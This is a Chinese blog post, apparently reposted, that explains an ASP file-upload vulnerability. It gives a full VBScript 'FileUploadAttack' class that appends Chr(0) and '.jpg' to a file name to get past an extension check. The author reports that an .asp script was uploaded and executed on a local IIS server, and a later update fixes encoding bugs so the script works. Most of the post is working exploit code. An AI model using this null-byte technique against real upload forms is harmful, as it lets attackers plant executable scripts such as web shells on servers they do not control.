- 資訊首頁(yè) > 開(kāi)發(fā)技術(shù) > web開(kāi)發(fā) > ASP >
- ASP上傳漏洞之利用CHR(0)繞過(guò)擴展名檢測腳本
今天Demon 提到了這個(gè)問(wèn)題,正好想到之前看到的一篇文章 。這篇文章給出了本地無(wú)交互自動(dòng)上傳腳本的示例,正好今天可以借來(lái)一用,原腳本利用了InternetExplorer.Application組件,我改寫(xiě)了一下,用WinHttp.WinHttpRequest.5.1實(shí)現了類(lèi)似的功能,關(guān)于這個(gè)組件更多的用法請參考 。
代碼如下:
Option Explicit
Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
' 代碼修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
"WinHttp.WinHttpRequest.5.1")
End Sub
Private Sub Class_Terminate()
Set m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = name
End Sub
'Infrormations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template For multipart header
MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbCrLf + _
"Content-Type: {ct}" + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, "{field}", FieldName)
Out = Replace(Out, "{file}", FileName)
mpFields = Replace(Out, "{ct}", ContentType)
End Function
'Converts OLE string To multibyte string
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'Build multipart/form-data document with file contents And header info
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = "application/upload"
'The two parts around file contents In the multipart-form data.
Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + "--" + Boundary + "--" + vbCrLf
'Build form data using recordset binary field
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
RS.Fields.Append "b", adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convert Pre string value To a binary data
LenData = Len(Pre)
RS("b").AppendChunk (StringToMB(Pre) & ChrB(0))
Pre = RS("b").GetChunk(LenData)
RS("b") = ""
'Convert Po string value To a binary data
LenData = Len(Po)
RS("b").AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS("b").GetChunk(LenData)
RS("b") = ""
'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function
Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary
Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)
' 下面構造了惡意文件擴展名Chr(0) & .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) & ".jpg", m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function
Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class
Function VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
' 需要修改下面內容為合適內容
' 上傳url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上傳表單框的name
' 需上傳文件路徑
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上傳成功" & fileUpload.getText()
Else
MsgBox "失敗"
End If
Set fileUpload = Nothing
End Function
Call WScript.Quit(VBMain())
上傳功能是隨便在網(wǎng)上找的一個(gè)簡(jiǎn)單上傳ASP文件,然后加入我在文章中《ASP/VBScript中CHR(0)的由來(lái)以及帶來(lái)的安全問(wèn)題》所述的GetFileExtensionName判斷擴展名是否是jpg。
測試結果是:手動(dòng)上傳asp,失??;利用上述攻擊腳本上傳asp文件,成功!在上傳目錄中確實(shí)是asp文件,通過(guò)瀏覽器URL也能訪(fǎng)問(wèn)這個(gè)asp文件,只是奇怪的是顯示一片空白,我這里是IIS 7,難道是IIS版本問(wèn)題,或許是file_get_contents應該返回文件的二進(jìn)制流?好了,這個(gè)問(wèn)題先擱在這兒,還有其他事,先閃了。
所有實(shí)驗代碼包,在這里upload.zip(代碼BUG參考下面更新說(shuō)明)下載。
2011年12月25日更新
根據大家反饋的上傳文件變成Unicode Little Endian編碼問(wèn)題,首先抱歉的是當時(shí)確實(shí)偷懶了,主要代碼參考的老外的,而且老外說(shuō)明了一下GetFile這個(gè)函數獲取文件二進(jìn)制數據,沒(méi)找到這個(gè)函數實(shí)現,也懶得去弄二進(jìn)制讀取,直接搞了個(gè)file_get_contents獲取文本數據,事實(shí)證明這樣確實(shí)存在問(wèn)題,下面我把補救措施說(shuō)明一下吧,還是偷懶一下,直接在現有的基礎上將文本數據轉換為二進(jìn)制數據。使用ADODB.Stream組件,函數如下:
代碼如下:
' 將指定charset的字符串str轉換為二進(jìn)制
Function strtobin(str, charset)
With WSH.CreateObject("ADODB.Stream")
.Type = 2
.Mode = 3
.Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.Close
End With
End Function
然后將上述代碼的第106行改成下面這樣(以ASCII讀取文本):
代碼如下:
FileContents = strtobin(file_get_contents(FileName), "ASCII")
這樣改過(guò)后上傳的ASP文件就是普通編碼的文件了,然后瀏覽器訪(fǎng)問(wèn)這個(gè)文件,可以看到該ASP被成功解析。
不過(guò)這里覺(jué)得啰嗦了一點(diǎn),其實(shí)可以直接以二進(jìn)制打開(kāi)文件并返回數據,這里進(jìn)行了兩步:1.以文本方式讀取文件;2.將文本轉換為二進(jìn)制數據。一步到位的代碼可以參考下面一次以二進(jìn)制Byte()方式讀取文件數據的函數:
代碼如下:
'Returns file contents As a binary data
Function GetFile(FileName)
Dim Stream: Set Stream = CreateObject("ADODB.Stream")
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End Function
更優(yōu)化的代碼我就不寫(xiě)了,主要說(shuō)明的是一個(gè)上傳思路,如果大家希望得到完善的上傳實(shí)現,可以參考Demon的《》 。
原文:
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自本網(wǎng)站內容采集于網(wǎng)絡(luò )互聯(lián)網(wǎng)轉載等其它媒體和分享為主,內容觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如侵犯了原作者的版權,請告知一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容,聯(lián)系我們QQ:712375056,同時(shí)歡迎投稿傳遞力量。
Copyright ? 2009-2022 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 特網(wǎng)科技 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 百度云 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站